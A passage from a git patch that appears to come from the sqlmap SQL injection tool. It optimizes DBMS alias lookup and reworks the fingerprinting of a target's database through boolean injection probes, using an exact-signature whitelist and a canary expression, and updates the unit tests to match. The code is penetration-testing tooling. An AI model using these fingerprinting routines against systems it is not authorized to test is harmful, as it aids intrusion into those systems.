From 6e459d66f264ce27aa928d0c1f965d168b015b35 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miroslav=20=C5=A0tampar?=
Date: Wed, 1 Jul 2026 10:34:53 +0200
Subject: [PATCH 01/30] Couple of optimizations
---
data/txt/sha256sums.txt | 8 +--
lib/core/common.py | 50 ++++++++------
lib/core/settings.py | 2 +-
lib/utils/dialect.py | 97 +++++++++++++++-----------
tests/test_dialectdbms.py | 141 +++++++++++++++++++++-----------------
5 files changed, 168 insertions(+), 130 deletions(-)
diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index 25692070e..342609ae6 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py
c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py
-d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed lib/core/common.py
+751c3bf178e91e60b25e3b01ce7636029804dd78f64e9ee0418bdb126889a7bc lib/core/common.py
8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py
5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
@@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
-516d6b40efa04a5a25b0aa317ea49771f6964a57581777761f82d36d1b1b78b0 lib/core/settings.py
+b38aa7769be9d31f2d55172a992732f506f05fba49d6a170eb9485f78da7c360 lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py
@@ -257,7 +257,7 @@ aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py
-b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dialect.py
+bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dialect.py
51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py
3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py
972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py
@@ -602,7 +602,7 @@ c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_dat
8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70 tests/test_dbms_enum.py
3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py
180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148 tests/test_deps.py
-b01343eb8aa42ea5c2c483ec028a24f6451aa6f668fdc0c289d5ff9554c277d7 tests/test_dialectdbms.py
+fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dialectdbms.py
e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py
993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py
7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f tests/test_dns_engine.py
diff --git a/lib/core/common.py b/lib/core/common.py
index 937064d70..ec7db6ff9 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -3310,7 +3310,16 @@ def isNumPosStrValue(value):
return retVal
-@cachedmethod
+# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a
+# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum()
+# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via
+# setdefault in dict order preserves the original first-match-wins semantics.
+_DBMS_ALIAS_MAP = {}
+for _dbmsKey, _dbmsItem in DBMS_DICT.items():
+ for _dbmsAlias in _dbmsItem[0]:
+ _DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey)
+ _DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey)
+
def aliasToDbmsEnum(dbms):
"""
Returns major DBMS name from a given alias
@@ -3319,15 +3328,7 @@ def aliasToDbmsEnum(dbms):
'Microsoft SQL Server'
"""
- retVal = None
-
- if dbms:
- for key, item in DBMS_DICT.items():
- if dbms.lower() in item[0] or dbms.lower() == key.lower():
- retVal = key
- break
-
- return retVal
+ return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None
def findDynamicContent(firstPage, secondPage, merge=False):
"""
@@ -4414,7 +4415,11 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if isinstance(name, six.string_types):
retVal = getUnicode(name)
- _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
+ # Resolve the identified DBMS once; it is invariant within this call and
+ # Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise
+ # re-evaluated several times below.
+ dbms = Backend.getIdentifiedDbms()
+ _ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE)
if _:
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
@@ -4424,13 +4429,13 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if not conf.noEscape:
retVal = unsafeSQLIdentificatorNaming(retVal)
- if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
+ if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
+ elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
retVal = "\"%s\"" % retVal
- elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
+ elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = "\"%s\"" % retVal.upper()
- elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+ elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
if isTable:
parts = retVal.split('.', 1)
for i in xrange(len(parts)):
@@ -4463,16 +4468,21 @@ def unsafeSQLIdentificatorNaming(name):
retVal = name
if isinstance(name, six.string_types):
- if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
+ # Resolve the identified DBMS once; it is invariant within this call, and
+ # Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously
+ # it was re-evaluated up to five times per call.
+ dbms = Backend.getIdentifiedDbms()
+
+ if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
retVal = name.replace("`", "")
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
+ elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
retVal = name.replace("\"", "")
- elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
+ elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = name.replace("\"", "").upper()
- elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+ elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
retVal = name.replace("[", "").replace("]", "")
- if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+ if dbms in (DBMS.MSSQL, DBMS.SYBASE):
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
return retVal
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 88b61ddd4..29ce4db15 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.0"
+VERSION = "1.10.7.1"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py
index 3be67eac8..47f973edc 100644
--- a/lib/utils/dialect.py
+++ b/lib/utils/dialect.py
@@ -28,10 +28,10 @@ from lib.request.inject import checkBooleanExpression
# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing
# false positives. See PROVE_DESIGN.md.)
#
-# Truth table measured on a live OWASP-CRS platform across 16 engines (MySQL/MySQL5, MariaDB/TiDB,
-# PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB,
-# Derby, MonetDB, IRIS, Trino); only the zero-false-positive rules are kept (see _classify). With
-# anchor value 2:
+# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5,
+# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse,
+# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify()
+# (only measured signatures classify; anything else -> None). With anchor value 2:
#
# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1)
# vs no such operator (SQLite/Oracle/... -> error, so false)
@@ -52,57 +52,69 @@ DIALECT_PROBES = (
("shift", "1<<2=4"),
)
+# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that
+# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails,
+# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the
+# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle
+# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a
+# meaningless signature. It uses a trailing-operator form, distinct from the '' no-operator
+# form already exercised by sqlmap's earlier false-positive check, so it adds new information.
+DIALECT_CANARY = "2+"
+
+# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live
+# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a
+# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition
+# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the
+# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once).
+_SIGNATURE_DBMS = {
+ # xor pgpow intdiv bitor shift
+ (True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB
+ (False, True, True, True, True): DBMS.PGSQL, # PostgreSQL
+ (False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True)
+ (False, True, True, True, False): DBMS.PGSQL, # CrateDB
+ (True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift)
+ (True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<')
+ (False, False, True, True, True): DBMS.SQLITE, # SQLite
+}
+
def _classify(signature):
"""
- Maps a measured (xor, pgpow, intdiv, bitor) operator-dialect signature to a back-end
- DBMS, or returns None when the signature does not *uniquely* identify a major DBMS (so
- detection proceeds unchanged - the heuristic never wrong-foots the scan).
+ Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS
+ through a strict whitelist of live-measured signatures, or returns None when the signature is not
+ a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so
+ detection proceeds unchanged and the heuristic never wrong-foots the scan.
- Rules below are the subset of the measured 11-engine truth table that maps with zero
- false positives. Engines whose operator profile is not distinctive enough (Oracle's
- all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or
- a fully WAF-blocked channel also produces) deliberately fall through to None:
-
- >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB
+ >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB
'MySQL'
- >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift)
+ >>> _classify((False, True, True, True, True)) # PostgreSQL
+ 'PostgreSQL'
+ >>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family
+ 'PostgreSQL'
+ >>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family
+ 'PostgreSQL'
+ >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift)
'Microsoft SQL Server'
- >>> _classify((True, False, True, True, True)) # MonetDB (same xor/intdiv as MSSQL, but has '<<')
+ >>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<')
'MonetDB'
- >>> _classify((False, True, True, True, False)) # PostgreSQL
- 'PostgreSQL'
- >>> _classify((False, True, False, True, False)) # CockroachDB (pgwire) -> PostgreSQL family
- 'PostgreSQL'
- >>> _classify((False, False, True, True, True)) # SQLite
+ >>> _classify((False, False, True, True, True)) # SQLite
'SQLite'
- >>> _classify((False, False, True, False, False)) is None # Firebird/HSQLDB/Derby/H2/Trino -> no prior
+ >>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None
True
- >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> no prior
+ >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None
+ True
+ >>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive
True
"""
- xor, pgpow, intdiv, bitor, shift = signature
-
- if pgpow: # '^' is exponentiation -> PostgreSQL family
- return DBMS.PGSQL
- if xor and intdiv: # '^' is XOR AND integer division -> SQL Server ...
- # ... except MonetDB shares this exact signature; it alone has a working bit-shift operator
- # ('1<<2=4'), SQL Server has none -> split the collision (measured zero-FP across 16 engines).
- return DBMS.MONETDB if shift else DBMS.MSSQL
- if xor and not intdiv: # '^' is XOR AND real division -> MySQL family
- return DBMS.MYSQL
- if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite
- return DBMS.SQLITE
-
- return None
+ return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature))
def dialectCheckDbms(injection):
"""
Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the
given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the
WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe
- here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous or
- WAF-blocked channel yields None, leaving the scan unchanged.
+ here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous,
+ WAF-blocked or false-positive channel yields None, leaving the scan unchanged.
"""
retVal = None
@@ -114,9 +126,12 @@ def dialectCheckDbms(injection):
kb.injection = injection
try:
- # channel sanity: a tautology must read TRUE and a contradiction FALSE, otherwise the
- # boolean oracle is unreliable and the all-false signature (Oracle-like) would be meaningless
- if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3"):
+ # Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE,
+ # and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query
+ # fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which
+ # is proof the oracle is trash, so classification is skipped (a true negative) instead of
+ # emitting a bogus DBMS from a meaningless signature.
+ if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY):
signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES)
retVal = _classify(signature)
finally:
diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py
index 5dc28ac98..040d80b1a 100644
--- a/tests/test_dialectdbms.py
+++ b/tests/test_dialectdbms.py
@@ -4,13 +4,13 @@
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
-Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth
-table: the (xor, intdiv, pgcast, bitor) operator signatures measured across 11 live engines
-on an OWASP-CRS test platform, asserting that _classify() maps each to the expected back-end
-DBMS - and, just as importantly, that the engines whose signatures collide or are ambiguous
-map to None (no prior), so the heuristic never wrong-foots detection. The end-to-end behaviour
-(the probes producing these signatures through a real boolean injection) is exercised against
-the live platform, not here.
+Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth table:
+the full 5-probe (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) operator signatures measured across the live
+SQL engines on an OWASP-CRS test platform, asserting _classify() maps each EXACT signature to the
+expected back-end DBMS via its whitelist - and, just as importantly, that anything else (an
+unmeasured engine, an ambiguous signature, or a physically-impossible / noise signature) maps to
+None, so the heuristic never wrong-foots detection. The end-to-end behaviour (the probes producing
+these signatures through a real boolean injection) is exercised against the live platform, not here.
"""
import os
@@ -26,78 +26,80 @@ from lib.core.data import kb
from lib.core.enums import DBMS
from lib.utils.dialect import _classify
from lib.utils.dialect import dialectCheckDbms
+from lib.utils.dialect import DIALECT_CANARY
-# measured 2026-06 across the sqli-platform (boolean form "id=2 AND ", anchor value 2);
-# base signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2). The 5th probe (1<<2=4, bit-shift) is the MonetDB-vs-
-# SQL Server disambiguator and is asserted separately (SHIFT_SENSITIVE); for every other engine the
-# shift flag does NOT change the classification, which the test proves by trying it both ways.
+# Full 5-probe signature (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) measured live -> expected DBMS.
+# Every bit is significant now (whitelist): e.g. MySQL/PostgreSQL/... all have a working '<<', so
+# shift=True is part of their signature; a one-bit-off variant is simply not a known fingerprint.
MEASURED = {
- "mysql": ((True, False, False, True), DBMS.MYSQL),
- "mysql5": ((True, False, False, True), DBMS.MYSQL),
- "tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible
- "postgres": ((False, True, True, True), DBMS.PGSQL),
- "cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division)
- "cratedb": ((False, True, True, True), DBMS.PGSQL), # pgwire family
- "sqlite": ((False, False, True, True), DBMS.SQLITE),
+ "mysql": ((True, False, False, True, True), DBMS.MYSQL),
+ "mysql5": ((True, False, False, True, True), DBMS.MYSQL),
+ "tidb": ((True, False, False, True, True), DBMS.MYSQL), # MySQL wire-compatible
+ "postgres": ((False, True, True, True, True), DBMS.PGSQL),
+ "cockroach": ((False, True, False, True, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division, has '<<')
+ "cratedb": ((False, True, True, True, False), DBMS.PGSQL), # pgwire family (no '<<')
+ "mssql": ((True, False, True, True, False), DBMS.MSSQL), # '^' XOR, integer division, NO bit-shift
+ "monetdb": ((True, False, True, True, True), DBMS.MONETDB), # shares MSSQL base but HAS '<<'
+ "sqlite": ((False, False, True, True, True), DBMS.SQLITE),
# not distinctive enough -> deliberately no prior (operators alone can't safely separate these)
- "firebird": ((False, False, True, False), None),
- "hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2
- "derby": ((False, False, True, False), None),
- "h2": ((False, False, True, False), None),
- "trino": ((False, False, True, False), None),
- "iris": ((False, False, False, False), None), # all-error, like Oracle/broken channel
- "clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel
-}
-
-# engines whose full 5-probe signature (incl. 1<<2=4) is needed because they share base-4 (xor,intdiv)
-# and only the bit-shift probe separates them: SQL Server has no shift operator, MonetDB does.
-SHIFT_SENSITIVE = {
- "mssql": ((True, False, True, True, False), DBMS.MSSQL),
- "monetdb": ((True, False, True, True, True), DBMS.MONETDB),
+ "firebird": ((False, False, True, False, False), None),
+ "hsqldb": ((False, False, True, False, False), None), # collides with firebird/derby/h2/trino
+ "derby": ((False, False, True, False, False), None),
+ "h2": ((False, False, True, False, False), None),
+ "trino": ((False, False, True, False, False), None),
+ "iris": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel
+ "clickhouse": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel
}
class TestDialectClassification(unittest.TestCase):
- def test_shift_sensitive_engines_split_correctly(self):
- # MonetDB shared MSSQL's (xor, intdiv) signature exactly (a false positive before the shift
- # probe); 1<<2=4 (MonetDB only) now separates them.
- for engine, (signature, expected) in SHIFT_SENSITIVE.items():
+ def test_measured_engines_map_as_expected(self):
+ # each engine's exact measured 5-probe signature maps to its expected DBMS (or None)
+ for engine, (signature, expected) in MEASURED.items():
self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine)
- def test_measured_engines_map_as_expected(self):
- # for non-shift-sensitive engines the shift flag is irrelevant: assert BOTH values map to the
- # expected DBMS (proves the new probe never perturbs the existing classifications).
- for engine, (base, expected) in MEASURED.items():
- for shift in (False, True):
- self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift))
+ def test_shift_splits_monetdb_from_mssql(self):
+ # MonetDB shares MSSQL's (xor, intdiv) base exactly (a false positive before the shift probe);
+ # 1<<2=4 (MonetDB has it, SQL Server never does) is the sole separator.
+ self.assertEqual(_classify((True, False, True, True, False)), DBMS.MSSQL)
+ self.assertEqual(_classify((True, False, True, True, True)), DBMS.MONETDB)
- def test_no_false_positive_across_measured_set(self):
- # non-collision property: every measured engine maps to EXACTLY its expected DBMS (or None),
- # never to some other back-end. The shift flag is irrelevant for these (non-shift-sensitive)
- # engines, so assert it both ways.
- for engine, (base, expected) in MEASURED.items():
- for shift in (False, True):
- result = _classify(base + (shift,))
- self.assertEqual(result, expected, "engine %r misclassified (shift=%s): got %r, expected %r" % (engine, shift, result, expected))
- # the only non-None DBMS priors the measured set can yield (sanity on the mapping itself)
- produced = set(expected for _, expected in MEASURED.values() if expected is not None)
- self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE})
+ def test_whitelist_is_exact_no_false_positive(self):
+ # only the measured classifying signatures may yield a DBMS; everything else -> None.
+ classifying = set(sig for sig, exp in MEASURED.values() if exp is not None)
+ produced = set(exp for _, exp in MEASURED.values() if exp is not None)
+ self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.MONETDB, DBMS.SQLITE})
+ # exhaustively sweep all 32 signatures: a non-None result is allowed ONLY for a measured one
+ for bits in range(32):
+ sig = tuple(bool(bits & (1 << i)) for i in range(5))
+ result = _classify(sig)
+ if sig not in classifying:
+ self.assertIsNone(result, "unmeasured signature %r wrongly mapped to %r" % (sig, result))
+
+ def test_all_true_noise_is_rejected(self):
+ # a channel that reads EVERY probe true (a static/reflected page, or a WAF/false-positive
+ # oracle) produces the all-true signature - physically impossible ('^' cannot be XOR and
+ # exponentiation at once). It must NOT be guessed (previously it mis-read as PostgreSQL).
+ self.assertIsNone(_classify((True, True, True, True, True)))
def test_all_error_signature_yields_no_prior(self):
- # an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not
- # distinctive enough - it must NOT be guessed as any DBMS
+ # an all-error signature (Oracle, ClickHouse, IRIS, or a WAF-blocked channel) is not
+ # distinctive - it must NOT be guessed as any DBMS
self.assertIsNone(_classify((False, False, False, False, False)))
self.assertIsNone(_classify((False, False, False, False, True)))
- def test_pgpow_dominates_as_postgres_marker(self):
- # exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour
- self.assertEqual(_classify((False, True, True, True, False)), DBMS.PGSQL)
- self.assertEqual(_classify((False, True, False, True, False)), DBMS.PGSQL)
+ def test_pgpow_alone_is_not_enough(self):
+ # exponentiation '^' is a PostgreSQL marker, but pgpow ALONE no longer classifies: the full
+ # signature must match a measured PostgreSQL fingerprint (this is what stops the all-true noise
+ # from riding the old 'pgpow dominates' rule into a bogus PostgreSQL claim).
+ self.assertEqual(_classify((False, True, True, True, True)), DBMS.PGSQL) # real PostgreSQL
+ self.assertIsNone(_classify((True, True, False, False, False))) # pgpow set, but not a real signature
class TestDialectCheckDbmsGuard(unittest.TestCase):
- """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good
- channel, and None (no prior) whenever the channel is unreliable - the safety contract."""
+ """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel,
+ and None (no prior) whenever the channel is unreliable - the safety contract, including the
+ canary that turns a trashy false-positive channel into a true negative."""
def _run(self, truth):
# truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection
@@ -111,11 +113,13 @@ class TestDialectCheckDbmsGuard(unittest.TestCase):
kb.injection = saved
def test_identifies_mysql_on_good_channel(self):
- truth = {"2=2": True, "2=3": False, "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True}
+ truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False,
+ "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True}
self.assertEqual(self._run(truth), DBMS.MYSQL)
def test_identifies_postgres_on_good_channel(self):
- truth = {"2=2": True, "2=3": False, "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True}
+ truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False,
+ "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True}
self.assertEqual(self._run(truth), DBMS.PGSQL)
def test_none_on_blocked_channel(self):
@@ -124,7 +128,16 @@ class TestDialectCheckDbmsGuard(unittest.TestCase):
def test_none_on_static_channel(self):
# a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None
- self.assertIsNone(self._run({"2=2": True, "2=3": True, "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True}))
+ self.assertIsNone(self._run({"2=2": True, "2=3": True, DIALECT_CANARY: True,
+ "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True}))
+
+ def test_none_when_canary_reads_true(self):
+ # THE canary contract: a channel can look like a clean oracle (2=2 true, 2=3 false) and even
+ # yield a DBMS-shaped signature, but if the syntactically-invalid canary also reads TRUE the
+ # channel accepts garbage -> it is a false positive -> return None (true negative), never a DBMS.
+ truth = {"2=2": True, "2=3": False, DIALECT_CANARY: True,
